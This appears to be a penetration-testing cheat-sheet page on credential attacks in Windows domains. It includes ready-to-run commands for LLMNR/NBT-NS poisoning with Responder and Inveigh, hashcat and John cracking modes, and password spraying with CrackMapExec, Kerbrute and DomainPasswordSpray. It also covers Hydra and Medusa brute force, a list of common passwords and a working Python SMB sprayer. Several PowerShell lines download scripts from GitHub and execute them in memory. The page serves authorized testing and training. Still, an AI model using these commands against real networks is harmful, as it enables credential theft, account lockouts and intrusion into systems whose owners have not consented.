Exploitation

Credential Attacks

Capture and crack credentials through network poisoning, password spraying, and brute force attacks against internal network services.

Warning

Only perform credential attacks within authorized scope. Captured credentials may provide access to sensitive systems.

Tool Installation

Required Tools

Responder - LLMNR/NBT-NS/mDNS Poisoner

apt install responder

GitHub: lgandx/Responder

Kerbrute - Kerberos brute force

go install github.com/ropnop/kerbrute@latest

GitHub: ropnop/kerbrute

Inveigh - PowerShell LLMNR/NBNS

IEX (iwr https://raw.githubusercontent.com/Kevin-Robertson/Inveigh/master/Inveigh.ps1)

GitHub: Kevin-Robertson/Inveigh

Hashcat/John - Password crackers

apt install hashcat john

Pre-installed on Kali Linux

LLMNR/NBT-NS Poisoning

When DNS resolution fails, Windows falls back to LLMNR and NBT-NS protocols which can be poisoned to capture NTLMv2 hashes.

Protocols Poisoned: LLMNR (UDP 5355), NBT-NS (UDP 137), mDNS (UDP 5353)

Impact: Capture NTLMv2 hashes for offline cracking or relay

Detection Risk: Medium - generates network traffic anomalies

Responder - Capture Hashes

bash
# Start Responder on interface
sudo responder -I eth0 -dwPv

# Flags explained:
# -d: Enable answers for DHCP broadcast requests (DHCP poisoning)
# -w: Enable WPAD rogue proxy
# -P: Force NTLM/Basic auth on wpad.dat file retrieval
# -v: Verbose output

# Responder with WPAD proxy (aggressive)
sudo responder -I eth0 -wFPv

# Analyze mode (passive - no poisoning)
sudo responder -I eth0 -A

# Check captured hashes
ls /usr/share/responder/logs/
cat /usr/share/responder/logs/*.txt

Information

Responder Configuration: Edit /etc/responder/Responder.conf to enable/disable specific services. Disable SMB and HTTP when using with ntlmrelayx.

Inveigh (PowerShell Alternative)

Use Inveigh when you need to run from a compromised Windows host without uploading external tools.

powershell
# Download and import Inveigh
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Kevin-Robertson/Inveigh/master/Inveigh.ps1')

# Or import from disk
Import-Module .\Inveigh.ps1

# Start Inveigh with all options
Invoke-Inveigh -ConsoleOutput Y -LLMNR Y -NBNS Y -mDNS Y -HTTPS Y -Proxy Y

# Minimal footprint (LLMNR/NBNS only)
Invoke-Inveigh -ConsoleOutput Y -LLMNR Y -NBNS Y

# Check captured hashes
Get-Inveigh -NTLMv2
Get-Inveigh -Cleartext
Get-Inveigh -NTLMv2Unique  # Unique hashes only

# Stop Inveigh
Stop-Inveigh

# Export captured hashes to file
Get-Inveigh -NTLMv2 | Out-File hashes.txt

Tip

InveighZero: For C# version that can run via execute-assembly in Cobalt Strike, see InveighZero.

Crack Captured Hashes

Hashcat Mode Reference:

  • 5600 - NetNTLMv2 (most common)
  • 5500 - NetNTLMv1
  • 1000 - NTLM (from SAM/NTDS.dit)
  • 13100 - Kerberos TGS-REP (Kerberoast)
  • 18200 - Kerberos AS-REP (AS-REP Roast)
bash
# Hashcat - NTLMv2 (basic)
hashcat -m 5600 hashes.txt /usr/share/wordlists/rockyou.txt

# With rules (more effective)
hashcat -m 5600 hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule

# Multiple rule files
hashcat -m 5600 hashes.txt wordlist.txt -r /usr/share/hashcat/rules/best64.rule -r /usr/share/hashcat/rules/toggles1.rule

# Show cracked passwords
hashcat -m 5600 hashes.txt --show

# John the Ripper
john --format=netntlmv2 hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
john --format=netntlmv2 hashes.txt --show  # Show cracked

# Combine with custom wordlist
# Generate company-specific wordlist
echo -e 'Company2024!\nCompany123\nWelcome2Company' > company_words.txt
hashcat -m 5600 hashes.txt company_words.txt -r /usr/share/hashcat/rules/best64.rule

Password Spraying

Test common passwords against many accounts while staying under lockout thresholds.

Danger

CRITICAL: Always check password policy BEFORE spraying. Account lockouts can disrupt business operations and alert defenders.

Check Password Policy First

bash
# CrackMapExec - get password policy
crackmapexec smb 192.168.1.100 -u '' -p '' --pass-pol
crackmapexec smb 192.168.1.100 -u 'guest' -p '' --pass-pol

# enum4linux-ng (updated version)
enum4linux-ng -P 192.168.1.100

# enum4linux (classic)
enum4linux -P 192.168.1.100

# rpcclient (requires null session)
rpcclient -U '' -N 192.168.1.100 -c 'getdompwinfo'

# LDAP query (with credentials)
ldapsearch -x -H ldap://192.168.1.100 -D 'user@corp.local' -w 'password' -b 'DC=corp,DC=local' '(objectClass=domain)' pwdHistoryLength minPwdAge maxPwdAge minPwdLength lockoutThreshold lockoutDuration

⚠️ Safe Spraying Strategy

  1. Check lockout threshold (e.g., 5 attempts)
  2. Check lockout duration/observation window (e.g., 30 minutes)
  3. Spray ONE password, wait for lockout window to reset
  4. Spray next password, repeat
  5. For 30-min lockout window: max 1 password every 35 minutes

Spray with CrackMapExec

bash
# Single password against user list
crackmapexec smb 192.168.1.0/24 -u users.txt -p 'Summer2024!' --continue-on-success

# Multiple passwords (careful with lockout!)
crackmapexec smb 192.168.1.100 -u users.txt -p passwords.txt --no-bruteforce

# Spray against specific services
crackmapexec winrm 192.168.1.100 -u users.txt -p 'Password123!'
crackmapexec ldap 192.168.1.100 -u users.txt -p 'Company2024!'

Kerbrute - Kerberos Spraying

Kerbrute uses Kerberos pre-authentication which is stealthier than SMB. Failed attempts appear as event ID 4771 (vs 4625 for SMB).

bash
# Download Kerbrute
wget https://github.com/ropnop/kerbrute/releases/latest/download/kerbrute_linux_amd64
chmod +x kerbrute_linux_amd64
mv kerbrute_linux_amd64 /usr/local/bin/kerbrute

# Username enumeration (no lockout risk!)
kerbrute userenum -d corp.local --dc 192.168.1.100 users.txt

# Password spray via Kerberos
kerbrute passwordspray -d corp.local --dc 192.168.1.100 users.txt 'Summer2024!'

# With delay between attempts (safer)
kerbrute passwordspray -d corp.local --dc 192.168.1.100 users.txt 'Summer2024!' --delay 100

# Brute force single user (use with caution!)
kerbrute bruteuser -d corp.local --dc 192.168.1.100 passwords.txt administrator

# Save output
kerbrute passwordspray -d corp.local --dc 192.168.1.100 users.txt 'Summer2024!' -o results.txt

Tip

Username Enumeration: Kerbrute userenum doesn't cause lockouts since it only checks if usernames exist. Use this to build a valid user list before spraying.

Spray-Passwords.ps1

Part of PowerSploit/Empire - useful for spraying from a compromised Windows host.

powershell
# Download from PowerSploit
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/dafthack/DomainPasswordSpray/master/DomainPasswordSpray.ps1')

# Or use the built-in version
Import-Module .\Spray-Passwords.ps1

# Spray single password against all domain users
Invoke-DomainPasswordSpray -Password 'Summer2024!'

# Against specific user list
Invoke-DomainPasswordSpray -UserList .\users.txt -Password 'Summer2024!'

# With delay between attempts (milliseconds)
Invoke-DomainPasswordSpray -Password 'Summer2024!' -Delay 1000

# Using password list file
Invoke-DomainPasswordSpray -PasswordList .\passwords.txt

# Output to file
Invoke-DomainPasswordSpray -Password 'Summer2024!' -OutFile spray_results.txt

Service Brute Force

Hydra

bash
# SMB brute force
hydra -L users.txt -P passwords.txt smb://192.168.1.100

# RDP brute force
hydra -L users.txt -P passwords.txt rdp://192.168.1.100

# SSH brute force
hydra -L users.txt -P passwords.txt ssh://192.168.1.100

# WinRM brute force
hydra -L users.txt -P passwords.txt http-get://192.168.1.100:5985/wsman

Medusa

bash
# SMB brute force
medusa -h 192.168.1.100 -U users.txt -P passwords.txt -M smbnt

# Multiple hosts
medusa -H hosts.txt -U users.txt -P passwords.txt -M smbnt -T 5

Common Password Patterns

text
# Seasonal passwords
Summer2024!
Winter2024!
Spring2024!
Fall2024!

# Company-based
[CompanyName]2024!
[CompanyName]123
Welcome2[CompanyName]

# Common patterns
Password1!
P@ssw0rd!
Changeme1!
Qwerty123!
Admin123!

Python Spray Script

python
#!/usr/bin/env python3
"""Simple SMB Password Sprayer"""
from impacket.smbconnection import SMBConnection
import sys
import time

def spray(target, domain, users_file, password, delay=0):
    with open(users_file) as f:
        users = [line.strip() for line in f]
    
    print(f"[*] Spraying {password} against {len(users)} users")
    
    for user in users:
        try:
            conn = SMBConnection(target, target, timeout=3)
            conn.login(user, password, domain)
            print(f"[+] SUCCESS: {domain}\\{user}:{password}")
            conn.close()
        except Exception as e:
            if "STATUS_LOGON_FAILURE" in str(e):
                print(f"[-] Failed: {user}")
            elif "STATUS_ACCOUNT_LOCKED" in str(e):
                print(f"[!] LOCKED: {user}")
        time.sleep(delay)

if __name__ == "__main__":
    spray(sys.argv[1], sys.argv[2], sys.argv[3], sys.argv[4])

Tip

Always check password policy before spraying. A safe approach is one password attempt per user, then wait for the lockout window to reset before trying another password.

External Resources